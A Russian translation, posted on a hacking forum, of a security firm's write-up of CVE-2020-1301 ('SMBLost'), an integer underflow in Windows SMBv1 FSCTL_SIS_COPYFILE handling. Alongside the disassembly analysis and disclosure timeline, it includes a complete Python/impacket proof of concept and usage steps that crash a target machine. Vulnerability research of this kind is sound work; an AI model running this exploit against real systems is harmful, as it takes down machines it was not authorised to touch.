• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Погружение в уязвимость SMBLost (CVE-2020-1301)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
SMB (Server Message Block) недавно был описан в CVE-2020-0796, также известном как "SMBGhost". Эта уязвимость находится в протоколе Microsoft Server Message Block 3.1.1 (SMBv3) и затрагивает только новые операционные системы, от Windows 10 версии 1903 до Windows 10 версии 1909. Из-за опасений новой атаки "червей" на SMBv2/v3 компании могли совершить ошибку, временно отключив версию SMBv2/v3 в пользу SMBv1. Такое действие противоречит рекомендации Microsoft CVE-2020-0796, которая заключается в отключении только сжатия SMBv3. Но в целом Microsoft рекомендует не переустанавливать SMBv1. Этот старый протокол имеет известные проблемы с безопасностью в отношении программ-вымогателей и других вредоносных программ. Например, мы можем вспомнить как эксплойт "Eternal Blue", так и способ распространения "Wannacry".

В рамках этой статьи мы подтвердим рекомендации Microsoft через наше недавнее открытие о новой уязвимости SMBv1, которая затрагивает, вероятно, все версии Windows. Последнее происходит из специально созданного запроса SMB_COM_NT_TRANSACT, который приводит к проблеме целочисленного недополнения (underflow). Эта ошибка вызывает запись в ядре за пределами диапазона из данных, находящихся под контролем злоумышленника. Значит, размера нет. Поэтому получение удаленного выполнения кода (RCE) кажется возможным, но, вероятно, будет трудно сделать его надежным.

В целом, эта уязвимость CVE-2020-1301, названная "SMBLost", гораздо менее опасна, чем уязвимости "SMBGhost" или "Eternal Blue", поскольку требует наличия двух важных предварительных условий:

- Во-первых, необходимо иметь учетные данные пользователя для подключения к удаленной общей папке.
- Второе встречается реже. Казалось бы, на сервере должен быть общий доступ к разделу, например, "c:\", "d:\" и так далее. Однако даже если такая конфигурация иногда выполняется для удовлетворения определенных требований, мы не совсем уверены, что это единственный способ достичь уязвимости.

Этот анализ уязвимостей был достигнут в версии 10.0.19041.1 драйвера srv.sys.

1.png


На протяжении всей статьи драйвер SMBv1 извлекался из последней предварительной версии Windows Insider Preview (WIP), что означает, что это может повлиять на все версии Windows.

Disclaimer: эта статья предназначена для ознакомления с нашими недавними исследованиями SMBv1 только с точки зрения безопасности, а также в образовательных целях. Мы не несем ответственности за любое использование или неправильное использование этого анализа, такого как этот технический отчет или предоставленное POC.

Анализ уязвимости

В этой главе будет представлен подход, используемый для обнаружения этой уязвимости, а также полное понимание проблемы. Соответственно, команды и подкоманды SMBv1 будут кратко рассмотрены, прежде чем переходить к реальным задействованным командам CVE-2020-1301. В частности, читатель может узнать, что отправка IOCTL/FSCTL в файл, размещенный на удаленном сервере, является встроенной функцией SMB.

Команды SMBv1

SMBv1 - это многофункциональный и сложный протокол сетевой связи, обеспечивающий такие функции, как детальный доступ к общим ресурсам (файлам, принтерам или последовательным портам) и межпроцессный механизм с проверкой подлинности (именованные каналы), который широко используется для собственной реализации Microsoft DCE/RPC через SMB, известный как MSRPC.

Таким образом, протокол SMBv1 предлагает около 80 конкретных команд. Наиболее частые, с которыми вы, вероятно, сталкивались:

- SMB_COM_CREATE_DIRECTORY (0x00) и SMB_COM_DELETE_DIRECTORY (0x01)
- SMB_COM_OPEN (0x02) и SMB_COM_CLOSE (0x04)
- SMB_COM_FLUSH (0x05) и SMB_COM_DELETE (0x06)
- SMB_COM_READ (0x0A) и SMB_COM_WRITE (0x0B)
- SMB_COM_TREE_CONNECT (0x70) и SMB_COM_WRITE_TREE_DISCONNECT (0x71)
- и многие другие

Кроме того, некоторые из этих команд SMBv1 могут содержать такие подкоманды, как:

- Подкоманды транзакции в части SMB_COM_TRANSACTION (0x25)
- Подкоманды транзакции в части SMB_COM_TRANSACTION2 (0x32)
- Подкоманды транзакции в части SMB_COM_NT_TRANSACT (0xA0)

И, как будто этого было недостаточно, подкоманда может также содержать подкоманды, то есть под-подкоманды. Учитывая эту большую поверхность атаки, это будет похоже на поиск иголки в стоге сена. Однако при чтении оглавления документа MS-CIFS[1] мое внимание привлекла одна команда. NT_TRANSACT_IOCTL кажется знакомым людям, имеющим дело с драйверами ядра. На самом деле исследователь уязвимостей, нацеленный на программные продукты на базе ОС Windows, будет искать наличие драйверов ядра. Этот вид компонентов часто является хорошим кандидатом для поиска локального повышения привилегий (LPE). Основной подход - иметь дело с IOCTL драйвера. Таким образом, погружение в команду NT_TRANSACT_IOCTL кажется логической точкой входа для обнаружения удаленного отказа в обслуживании или, еще лучше, удаленного выполнения кода (RCE) с повышением привилегий.

Таким образом, в следующей главе мы сосредоточимся на команде SMB_COM_NT_TRANSACT с подкомандой NT_TRANSACT_IOCTL. Этот запрос используется для отправки IOCTL или FSCTL (управления файловой системой) на файловый сервер.

Комбо уязвимых команд

Команда SMB_COM_NT_TRANSACT была введена в диалекте NT LAN Manager. Этот запрос отправляется клиентом для указания операций на сервере, таких как открытие файла, создание файла, управление вводом-выводом устройства, уведомление об изменении каталога, а также установка и запрос дескрипторов безопасности.

В предыдущей главе мы видели, что команда SMB_COM_NT_TRANSACT состоит из списка кодов подкоманд, также известных как коды "подкоманд NT". Эти подкоманды изначально указаны в разделе 2.2.2.2 [MS-CIFS][1]. Затем дополнительные коды были добавлены в раздел 2.2.2.2 [MS-SMB][2]. Наконец, доступно всего девять команд. Среди них нас особенно интересует NT_TRANSACT_IOCTL.

В этом отчете об уязвимости мы не будем анализировать все поля, принадлежащие заголовку SMB или структурам SMB_COM_NT_TRANSACT/NT_TRANSACT_IOCTL. Будут выделены только самые важные.

Во-первых, он начинается с поля команды заголовка SMB. Это однобайтовый код, которому будет присвоено значение 0xA0, соответствующее запросу SMB_COM_NT_TRANSACT. Такая команда включает два блока SMB:

- Блок параметров, который содержит структуру параметров конкретного сообщения с именем SMB_Parameters. Он будет содержать как код подкоманды NT_TRANSACT_IOCTL (0x02), так и код IOCTL/FSCTL.
- Блок данных, который содержит структуру данных для конкретного сообщения с именем SMB_Data. Он будет содержать полезные данные для требуемой операции IOCTL/FSCTL.

Далее, подкоманда NT Transaction IOCTL, также представленная в диалекте NT LAN Manager, предназначена для прозрачной передачи функций IOCTL и FSCTL от клиента к серверу. В общем, эта команда полезна для отправки на сервер информации о платформе или реализации.

Смотрите рисунок 2 ниже, описание IOCTL транзакции NT из выдержки из таблицы кодов транзакций [1]:

2.png



IOCTL и FSCTL могут быть глобальными или специфичными для базового хранилища объектов сервера. Вот почему они указаны как в [MS-CIFS][1], так и в [MS-SMB][2].

Блок параметров запроса NT_TRANSACT_IOCTL состоит из двух важных полей:

- SMB_COM_NT_TRANSACT.Function поле, которое является подкомандой SMB_COM_NT_TRANSACT
- Поле SMB_COM_NT_TRANSACT.Setup, которое указывает, какой IOCTL/FSCTL должен быть вызван

Смотрите рисунок 3 ниже, установка структуры как часть этого запроса NT_TRANSACT_IOCTL:

3.png


FunctionCode идентифицирует управляющий код метода FSCTL/IOCTL, который можно рассматривать как подкоманду команды NT_TRANSACT_IOCTL.

В настоящее время нам рекомендуется возобновить выполнение всех команд и подкоманд, задействованных в таком запросе. Сморите рисунок 4 ниже:

4.png


Обратите внимание на первое появление значения 0x00090100, это просто код FSCTL, который будет использоваться для запуска уязвимости.

Из параграфа 2.3 структуры FSCTL [MS-FSCC] [3] мы извлекаем следующее описание:

Процесс вызывает FSCTL для дескриптора, чтобы выполнить действие с файлом или каталогом, связанным с дескриптором. Когда сервер получает запрос FSCTL, он должен использовать информацию в запросе, которая включает дескриптор и, необязательно, буфер входных данных, чтобы выполнить запрошенное действие. Как сервер выполняет действие, запрошенное FSCTL, зависит от реализации.

Существует около 40 FSCTL, и для каждого из них требуется много реверс-инжиниринга. Как исследователь уязвимостей, я применяю одну личную методику: всегда начинать с конца. На этот раз это окупилось. Вероятно, будет немного удачи, потому что уязвимый FSCTL - всего лишь второй с конца.

Смотри рисунок 5 ниже, краткую выдержку из таблицы FSCTL [MS-FSCC] [3]:

5.png


Из приведенной выше таблицы читатель теперь может определить имя уязвимого FSCTL (0x90100), то есть FSCTL_SIS_COPYFILE.

Фактически, комбинация SMB_COM_NT_TRANSACT, NT_TRANSACT_IOCTL и FSCTL_SIS_COPYFILE относится к запросу FSCTL_SIS_COPYFILE [4].

Наконец, пожалуйста, посмотрите рисунок 6 ниже, захват пакета, который выделяет все важные поля FSCTL_SIS_COPYFILE:


6.png


Последняя зеленая граница соответствует полезным данным, которые будут обрабатываться как часть этого FSCTL. Ошибка возникает при обработке этого байтового потока. Итак, давайте углубимся в данные FSCTL_SIS_COPYFILE.

Уязвимость FSCTL_SIS_COPYFILE

Прежде всего, SIS - это аббревиатура от Single-Instance Store. Это относится к архитектуре, разработанной для поддержки дублирующихся файлов с минимальными затратами на диск, кэш и резервные носители. Этот механизм похож на инкрементное резервное копирование.
После создания первоначального полного резервного копирования на устройство резервного копирования фактически копируются только новые или измененные файлы.

Как объяснялось ранее, этот CVE-2020-1301 включает запрос SMB_COM_NT_TRANSACT с подкомандой NT_TRANSACT_IOCTL, которая, в свою очередь, требует подкоманды, то есть FSCTL. В этом контексте FSCTL_SIS_COPYFILE (0x90100) просит сервер скопировать указанный исходный файл в указанный целевой файл, создав ссылку SIS вместо фактического копирования данных файла. Обратите внимание, что этот FSCTL может быть выдан для дескриптора файла или каталога.

Такой запрос содержит элемент данных SI_COPYFILE. Смотри рисунок 7 ниже, его представление:

7.png


- SourceFileNameLength - 32-битное целое число без знака, которое содержит размер в байтах элемента SourceFileName, включая нулевой символ завершающего Unicode.

- DestinationFileNameLength - это 32-битное целое число без знака, которое содержит размер в байтах элемента DestinationFileName, включая завершающий нулевой символ Unicode

- Флаги - это 32-битное целое число без знака, содержащее нулевые значения или значения флагов.

- SourceFileName - строка Unicode с завершающим нулем, содержащая имя исходного файла.

- DestinationFileName - строка Unicode с завершающим нулем, содержащая имя файла назначения.

Прежде чем перейти к месту уязвимости, мы шаг за шагом изучим, как может быть вызвана эта проблема.

Смотри рисунок 8 ниже, значения SI_COPYFILE, которые были установлены для активации уязвимости:

8.png


Проблема возникает из-за того, что в поле DestinationFileNameLength установлен один байт. Следовательно, поле DestinationFileName также состоит из одного 8-битного символа (одного байта). По идее, код, обрабатывающий запрос FSCTL_SIS_COPYFILE, должен отклонять этот кадр. Фактически, поскольку имя файла назначения является строкой Unicode, длина имени файла должна быть четным числом. Из-за этой ошибки программирования все проверки безопасности для DestinationFileNameLength успешно пройдены. Последний не будет ни нулевым, ни превышающим общую длину полученных данных.

Пожалуйста, посмотрите рисунок 9 ниже, код с дизассемблера, который показывает нам эти проверки:

9.png


После прохождения этих проверок драйвер проверяет, являются ли имена файлов источника и назначения строкой Unicode с завершающим нулем. В нашем конкретном случае однобайтовая длина DestinationFileName приводит к недоразумению, которое позволяет проверять последние 2 байта исходного файла вместо байтов имени файла назначения.

Смотри рисунок 10 ниже код, который приводит к этому неожиданному поведению:

10.png


Регистр rdx указывает на имя файла назначения, которое поступает из запроса FSCTL_SIS_COPYFILE. Длина этого имени файла равна одному байту, поэтому инструкция "shr" приводит к следующему вычислению "1 >> 2". Соответственно, регистр rax будет равен 0. Инструкция "cmp" предназначена для проверки, является ли последний символ имени файла NULL. В этом контексте эта инструкция приводит к сравнению последних двух байтов исходного имени файла из-за вычитания с "-2". Действительно, мы получаем следующие результаты:

[rdx+rax*2-2] [pDestinationFileNameBegin+0*2–2] [pSourceFileNameEnd]

Затем драйвер должен построить полный путь к именам файлов источника и назначения, к которым будет добавлен префикс с именем общего ресурса. Фактически, это самая важная часть срабатывания уязвимости. В самом деле, чтобы достичь уязвимости, имя общего ресурса должно любой ценой иметь обратную косую черту ("\") перед завершающим нулем символом. После нескольких попыток совместного использования файлов способ состоит в том, чтобы предоставить общий доступ к разделу, например, "c:\" или "d:\". Однако читатель может предложить мне другие способы добиться такого поведения.

Смотри рисунок 11 ниже код, который показывает два пути выполнения в соответствии с последним символом имени общего ресурса, который является либо NULL, либо символом обратной косой черты:

11.png


Как только используется путь выполнения с обратной косой чертой, мы все ближе и ближе подходим к последствиям бага.

Смотри рисунок 12 ниже, код, на котором выделено целочисленное переполнение (underflow):

12.png


Как вы можете видеть на рисунке 12, значение "2" вычитается из регистра "ebx", который представляет длину имени файла назначения. Поскольку эта длина установлена в один байт, мы получаем регистр "ebx", равный значению 0xffffffff. Это также означает -1. Затем эта вычисленная длина сохраняется в локальной переменной с меткой ":l_dwDestinationFilenameLength". Наконец, вызывается функция SrvAllocatePagedPool() для выделения целевого буфера из выгружаемого пула.

Смотри рисунок 13 ниже, вызов функции memcpy, который приводит к переполнению пула:

13.png


Авария произойдет из-за того, что драйвер пытается скопировать байты 0xffffffff из целевого файла, находящегося под нашим контролем, в ранее выделенный буфер SMB1. Последний используется в качестве целевого буфера memcpy.

Смотри рисунок 14 ниже, снимок экрана сеанса Windbg перед вызовом функции memcpy:

windbg_memcpy_final_2.jpg


На рисунке 14 мы можем заметить:

- Выделен зеленой рамкой буфер назначения, который выделяется из выгружаемого пула длиной 260 байт.
- Выделено синей рамкой, начало данных SI_COPYFILE, которые отправляются из нашего специально созданного запроса
- Выделен желтой рамкой исходный буфер с некоторыми нежелательными данными, чтобы показать, что мы можем контролировать то, что копируется.
- Выделена красной рамкой длина данных, которые будут скопированы (0xffffffff); Это значение не находится под нашим контролем

В этом контексте мы получаем BSOD (синий экран смерти). Однако кажется разумным рассмотреть вариант RCE (удаленное выполнение кода), хотя, вероятно, будет сложно сделать его надежным.

Proof of Concept

Этот код основан на использовании библиотеки impacket для облегчения обработки пакетов SMB по сети.

Наконец, смотри рисунок 15 ниже, POC, ведущей к отказу в обслуживании:

Python:
#!/usr/bin/python

from scapy.all import *
from impacket import smb

import sys, getopt

def main(argv):
    try:
        opts, args = getopt.getopt(argv,"ht:u:p:",["target=", "username=", "password="])
    except getopt.GetoptError:
        print './CVE-2020-1301_poc.py -t <target>'
        sys.exit(2)

    target_ip = "192.168.1.1"
    username = ""
    password = ""

    for opt, arg in opts:
        if opt == '-h':
            print './CVE-2020-1301_poc.py -t <target>'
            sys.exit()
        elif opt in ("-t", "--target"):
            target_ip = arg
        elif opt in ("-u", "--user"):
            username = arg
        elif opt in ("-p", "--password"):
            password = arg

    '''
    IOCTL Code: 0x090100 is FSCTL_SIS_COPYFILE
    '''
    s = smb.SMB('*SMBSERVER', target_ip)
    s.login(username, password, '')
    tid = s.tree_connect_andx(r"\\*SMBSERVER\C")
    print "tid = %d" % tid

    fName = 'share\\1.txt'
    fid = s.open_andx(tid, fName, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
    print "fid = %d" % fid

    try:      
        s2 = smb.NewSMBPacket()

        cmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        cmd['Parameters'] = smb.SMBNTTransaction_Parameters()
        cmd['Data']       = smb.SMBNTTransaction_Data()

        IoctlCode = 0x90100
        setup =  smb.pack('<L', IoctlCode)
        setup += smb.pack('<H', fid)
        setup += 'a' * 2
        name = ''
        param = ''

        size = 10
        data =  smb.pack('<L', size)        # SourceFileNameLength
        data += smb.pack('<L', 1)           # DestinationFileNameLength
        data += smb.pack('<L', 0x00000002)  # Flags
        data += '\x00' * (size-1)           # SourceFileName (variable)
        data += '\x00'                      # DestinationFileName (variable)
        data += '\x00\x00'
        data += '\x41' * 16
        data += '\x42' * 16
        data += '\x43' * 16
        data += '\x44' * 16
        data += 'Exploit me! ;-)'

        cmd['Parameters']['MaxSetupCount']      = 0x55
        cmd['Parameters']['TotalParameterCount']= len(param)
        cmd['Parameters']['TotalDataCount']     = len(data)
        cmd['Parameters']['MaxParameterCount']  = 0x55
        cmd['Parameters']['MaxDataCount']       = 0x55
        cmd['Parameters']['ParameterCount']     = len(param)
        cmd['Parameters']['ParameterOffset']    = 0x20+0x03+0x1c+len(setup)+len(name)
        cmd['Parameters']['DataCount']          = len(data)
        cmd['Parameters']['DataOffset']         = 0x20+0x03+0x26+len(setup)+len(name)+len(param)
        cmd['Parameters']['Function']           = 0x0002
        cmd['Parameters']['Setup']              = setup

        cmd['Data']['Pad1'] = ''
        cmd['Data']['NT_Trans_Parameters'] = param
        cmd['Data']['Pad2'] = ''
        cmd['Data']['NT_Trans_Data'] = data

        s2.addCommand(cmd)
        s2['Tid'] = tid
        smb.SMB.sendSMB(s,s2)
    except smb.SessionError, e:
        print e

if __name__ == "__main__":
   main(sys.argv[1:])

Воспроизведение уязвимости

Чтобы воспроизвести отказ в обслуживании, смотри следующие шаги:

- Если нет, включите SMBv1 на целевой машине. В PowerShell введите следующую команду:
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
- Поделиться файлом на диске (разделом). Для предоставленного эксплойта требуется каталог "C:\".
- Создайте файл "1.txt" в папке "C:\share\", чтобы получить "C:\share\1.txt".
- Этот POC разработан на Python и основан на библиотеке Impacket: скопируйте и используйте приведенный выше код.
Пример использования следующий:
"./CVE-2020-1301_poc.py -u user1 -p user1 -t 192.50.13.37".
- Целевая машина, вероятно, упала. Если нет, попробуйте еще раз

Демонстрация

Это демо было протестирована на Windows 10 Pro версии 2004, которая является частью Windows Insider Preview.

17-1.png


Следующая команда должна вызвать уязвимость.

./CVE-2020-1301.py -u user1 -p user1 -t 192.50.13.37

Как только уязвимость срабатывает, мы видим следующий BSOD на рисунке 17:

18-1.png


Для дальнейшего анализа более точную информацию можно получить из сеанса Windbg. В частности, такая информация, как значения регистров или стек вызовов.

19-1024x404.png


График раскрытия информации

Microsoft быстро отреагировала на эту проблему, чтобы подтвердить уязвимость и устранить проблему.

- 28 марта 2020 в MS сообщается об уязвимости

- 22 апреля 2020 статус установлен на "Разработка" от MS

- 9 июня 2020 уязвимость исправлена в соответствии с CVE-2020-1301.

- 9 июня 2020 Airbus публикует отчет, связанный с CVE-2020-1301.

Ссылки

[1]
[MS-CIFS]: Common Internet File System (CIFS) Protocol
https://docs.microsoft.com/en-us/op.../ms-cifs/d416ff7c-c536-406e-a951-4f04b2fd1d2b

[2] [MS-SMB]: Server Message Block (SMB) Protocol
https://docs.microsoft.com/en-us/op...s/ms-smb/f210069c-7086-4dc2-885e-861d837df688

[3] [MS-FSCC]: File System Control Codes
https://docs.microsoft.com/en-us/op.../ms-fscc/efbfe127-73ad-4140-9967-ec6500e66d5e

[4] FSCTL_SIS_COPYFILE Request
https://docs.microsoft.com/en-us/op.../ms-fscc/2ceb5108-f6e4-484e-be43-863a16a5b69a


Источник: https://airbus-cyber-security.com/diving-into-the-smblost-vulnerability-cve-2020-1301/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх